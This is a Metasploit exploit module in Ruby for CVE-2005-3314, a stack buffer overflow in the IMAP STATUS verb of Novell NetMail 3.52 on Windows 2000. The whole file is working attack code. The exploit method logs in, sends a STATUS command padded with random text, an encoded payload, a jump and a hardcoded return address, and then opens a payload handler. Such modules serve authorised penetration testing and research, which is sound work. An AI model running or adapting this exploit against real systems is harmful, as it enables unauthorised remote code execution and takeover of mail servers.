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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Imap
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Novell NetMail IMAP STATUS Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP STATUS
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          verb. By sending an overly long string, an attacker can overwrite the
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          buffer and control program execution.
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        },
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        'Author' => [ 'MC' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2005-3314' ],
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          [ 'OSVDB', '20956' ],
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          [ 'BID', '15491' ],
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        ],
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        'Privileged' => true,
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Payload' => {
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          'Space' => 500,
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          'BadChars' => "\x00\x0a\x0d\x20",
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          ['Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 }],
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2005-11-18',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def exploit
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    sploit = "a002 STATUS " + rand_text_english(1602) + payload.encoded
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    sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
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    sploit << [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"
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    info = connect_login
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    if (info == true)
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      print_status("Trying target #{target.name}...")
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      sock.put(sploit + "\r\n")
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    else
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      print_status("Not falling through with exploit")
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    end
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    handler
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    disconnect
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  end
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end
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